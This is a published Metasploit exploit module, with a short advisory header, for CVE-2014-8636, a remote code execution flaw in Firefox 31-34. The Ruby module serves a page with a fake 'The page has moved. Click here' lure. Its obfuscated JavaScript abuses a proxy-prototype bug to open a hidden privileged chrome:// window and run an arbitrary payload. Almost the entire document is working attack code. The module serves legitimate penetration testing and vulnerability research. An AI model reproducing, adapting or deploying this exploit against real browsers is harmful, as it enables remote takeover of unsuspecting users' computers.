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Firefox Proxy Prototype Privileged Javascript Injection

Firefox Proxy Prototype Privileged Javascript Injection
Posted Mar 24, 2015
Authored by joev | Site metasploit.com

This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect component and gaining a reference to the privileged chrome:// window. This exploit requires the user to click anywhere on the page to trigger the vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2014-8636
MD5 | 28b276d4e4041da22c574c95f45d4e2e

Firefox Proxy Prototype Privileged Javascript Injection

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/exploitation/jsobfu'

class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection',
'Description' => %q{
This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect
component and gaining a reference to the privileged chrome:// window. This exploit
requires the user to click anywhere on the page to trigger the vulnerability.
},
'License' => MSF_LICENSE,
'Author' => [
'joev' # discovery and metasploit module
],
'DisclosureDate' => "Jan 20 2014",
'References' => [
['CVE', '2014-8636'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ]

],
'Targets' => [
[
'Universal (Javascript XPCOM Shell)', {
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[
'Native Payload', {
'Platform' => %w{ java linux osx solaris win },
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => lambda { |ver| ver.to_i.between?(31, 34) }
}
))

register_options([
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])
], self.class)
end

def on_request_exploit(cli, request, target_info)
send_response_html(cli, generate_html(target_info))
end

def default_html
"The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."
end

def generate_html(target_info)
key = Rex::Text.rand_text_alpha(5 + rand(12))
frame = Rex::Text.rand_text_alpha(5 + rand(12))
r = Rex::Text.rand_text_alpha(5 + rand(12))
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin

js = js_obfuscate %Q|
var opts = #{JSON.unparse(opts)};
var key = opts['#{key}'];
var props = {};
props.has = function(n){
if (!window.top.x && n=='nodeType') {
window.top.x=window.open("chrome://browser/content/browser.xul", "x",
"chrome,,top=-9999px,left=-9999px,height=100px,width=100px");
if (window.top.x) {
Object.setPrototypeOf(document, pro);
setTimeout(function(){
x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';

setTimeout(function(){
x.messageManager.loadFrameScript('data:,'+key, false);
setTimeout(function(){
x.close();
}, 100)
}, 100)
}, 100);
}
}
}
var pro = Object.getPrototypeOf(document);
Object.setPrototypeOf(document, Proxy.create(props));
|

%Q|
<!doctype html>
<html>
<body>
<script>
#{js}
</script>
#{datastore['CONTENT'] || default_html}
</body>
</html>
|
end
end
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